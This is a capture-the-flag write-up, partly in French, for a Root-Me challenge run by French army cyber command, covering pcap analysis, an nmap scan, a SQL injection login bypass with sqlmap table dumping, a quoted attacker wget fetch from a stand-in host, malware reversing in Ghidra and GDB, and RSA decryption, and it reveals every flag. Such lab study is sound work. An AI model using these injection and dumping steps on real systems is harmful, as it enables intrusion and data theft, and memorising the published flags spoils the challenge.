ComCyber - CTF
Ce CTF proposé sur le site de root-me, m’a été proposé par un étudiant de l’école 42. Il est organisé par le Commandement de la cyberdéfense (armée de Terre).
J’ai pris environ une diziane d’heures pour le réaliser. J’ai reçu de l’aide de ce même étudiant afin de récupérer le dernier flag en crypto.
Ce write-up contient les réponses du CTF, si vous voulez faire le CTF, ne lisez pas la suite. Je ne peux être tenu responsable de l’utilisation de ces informations, ou de la divulgation des réponses qui suivent. Ce write-up est à titre informatif et éducatif, et est strictement privé et réservé aux personnes possédant le lien.
PS: Le CTF était plutôt sympa, comme le 404CTF et Sherlock, il raconte une histoire.
Flag n°1:
Nous devons télécharger un fichier de logs réseau (pcap), afin de comprendre pourquoi on
a soudainement perdu la liaison avec véhicule terrestre.
As usual, for these kind of files, you can use the old and good Wireshark and import the file.
Or if you don’t have any access to a graphical interface, you can use tcpdump.
To be the more “shell guy” possible, I used tcpdump:
tcpdump -qns 0 -A -r capture.pcap
So let’s analyze the file:

And in the middle of the file, we can see that:
echo Uk17N2FmZjJhNjA3YjEzZjczY2IwOTM2Zjk2ZTY3YjIxMDIwN2FlMDQ3NX0K > /tmp/secret
obviously, it’s base64 encoded, so let’s decode it:
echo "Uk17N2FmZjJhNjA3YjEzZjczY2IwOTM2Zjk2ZTY3YjIxMDIwN2FlMDQ3NX0K" | base64 -d
First flag: RM{7aff2a607b13f73cb0936f96e67b210207ae0475}
Flag n°2:
We found an IP address for the moment 163.172.68.42, it’s the IP of the server.
Let’s try to scan it with nmap:
nmap -Pn 163.172.68.42 only return smtp port 25, and an http port 5000.
Let’s go on the http one. We have a login form:

As usual, we have form, we can try SQL injection. Let’s take the most basic one:
' OR 1=1 --
I put it into the both fields and … it worked!
Now that we know that the server is vulnerable to SQL injection, we can try to run sqlmap
to extract the maximum of data we can in the database.
We copy the request in a file requests, and we can try to enumerate tables of the database:
sqlmap -r $PWD/requests --level 5 --risk 3 --batch --tables

After doing it, I saw that we have a table user, let’s dump it:
sqlmap -r $PWD/requests --level 5 --risk 3 --batch --dump -T user

We have a new flag: RM{a868c4433fd2ded45624a7c8998cdfe04113b7c5}
Flag n°3:
Okay, let’s connect to the dashboard! We have a new page, and we can download on it a file server.logs.
During the analyze of theses logs, we can see a strange command piped in xxd:

And after executing the pipe until the xxd command, we got a new flag!
Flag n°3: RM{9853ea08ab7472ee8ef27c616299daf50e30bd90}
Flag n°4:
In the same file, we can see another interesting line:

cat /app/static/assets/images/favicon.ico ./secret.zip > /app/static/assets/images/favicon.ico
So we can download the favicon.ico file, and extract the secret.zip file.
I tried to extract the file:

Yeah, we need a password. Where can I found that? In the logs of course!
(I made a little suspense but I saw it a long time ago)
Let’s check how the zip file is created:

Okay, they’re reading into the /tmp/.password file, let’s just see what’s inside:

Let’s use that password to unzip the file. And in the message.txt file, we have a new flag!

Flag n°4: RM{6ba43cb5eeab217270e9692e939da5341a82d2ff}
Flag n°5:
For that flag, the way to get it is pretty obvious. In the zip file, we had another file called:
m4lw3r3
In the logs, we already saw something interesting:

wget -O /dev/null https://attacker.tld/m4lw3r3, so the attacker download this particulare file.
Let’s open it with Ghidra and see what we have.
Okay, so we now have also the binary that infected the soft. So we need at least 2 arguments to execute it:

Let’s continue reading:
- We’re
bzeroa variable manually. That variable contains 113 bytes. - A string of at most 129 bytes is concatenated with a pointer.
- Then, this same string is again concatenate to a global variable.
- At the end, we’re looking for our first argument to see if these two strings are equals.
What we need to do is checking what strings are stored at 0x7b4d52 and 0x103ff8.

In GDB, we can retreive these both instruction here:

So let’s set a break point at b *main + 165.
Then, we can call x/1s $rsi to get the second argument.

Okay, we got another flag: RM{6762f71489bb7b57bbdaabd1306a677bbcf25bd7}
Flag n°6:
At the end of the code, we have that print, which is pretty explicit:

After looking for the function that they used in the code, I found that all functions are
from OpenSSL library and we were talking about RSA.

Okay, we have one interesting function here: BN_bin2bn.
Converts the positive integer in big-endian form of length len at s into a BIGNUM and places it in ret.
So, we know that the e and n values are in the executable. Also, they provided c
in the string they’re put in the executable.
We now have all ingredients to crack the string! Let’s GDB

To get n values as int or hex in GDB from a pointer p, we can use the command x/nub p or x/nx p:

We can now create a Python script to transform these int array values as an unique hexadecimal,
and then transform that hex number into an integer.
n = [196, 215, 192, 193, 2, 240, 195, 92, 53, 108, 96, 166, 126, 221, 109, 67, 65, 194, 237, 24, 5, 131, 244, 118, 199, 139, 172, 140, 195, 5, 92, 193, 131, 22, 234, 39, 215, 52, 103, 151, 44, 153, 86, 13, 251, 14, 246, 59, 99, 162, 216, 102, 94, 155, 81, 187, 50, 45, 30, 38, 13, 96, 205, 62, 68, 93, 250, 97, 12, 17, 222, 180, 226, 105, 33, 198, 244, 209, 10, 157, 214, 88, 4, 213, 114, 254, 251, 108, 2, 120, 94, 62, 249, 75, 151, 104, 232, 88, 210, 49, 184, 151, 207, 37, 95, 206, 2, 237, 153, 18, 38, 72, 202, 51, 35, 141, 35, 134, 124, 34, 121, 243, 147, 155, 51, 8, 123, 159]
e = [150, 207, 204, 130, 190, 222, 38, 54, 34, 145, 121, 225, 212, 44, 112, 202, 171, 116, 70, 35, 237, 18, 31, 26, 133, 159, 41, 68, 152, 186, 166, 75, 108, 16, 67, 70, 92, 66, 107, 153, 110, 45, 28, 19, 92, 184, 24, 150, 114, 220, 143, 85, 246, 225, 76, 214, 137, 125, 15, 15, 109, 200, 17, 236, 251, 121, 163, 177, 174, 117, 196, 97, 191, 167, 115, 70, 114, 109, 86, 82, 239, 118, 40, 205, 62, 60, 154, 186, 182, 179, 63, 150, 43, 93, 186, 23, 148, 57, 207, 85, 26, 109, 177, 41, 165, 33, 11, 33, 142, 206, 36, 1, 95, 139, 208, 167, 102, 208, 82, 46, 100, 53, 22, 188, 218, 75, 151, 113]
n = ''.join([f"{el:02x}" for el in n])
e = ''.join([f"{el:02x}" for el in e])
n_int = int(n, 16)
e_int = int(e, 16)
print(n_int)
print(e_int)
We now have c, e and n, we can use them to uncypher the original c value:

We got a new code that we can enter into the website interface: 3302758350382e964f2931b596c5abe2.

And we got the last flag! RM{8b5bd7dc99433e2ec980dfb03401341fb1b879d8}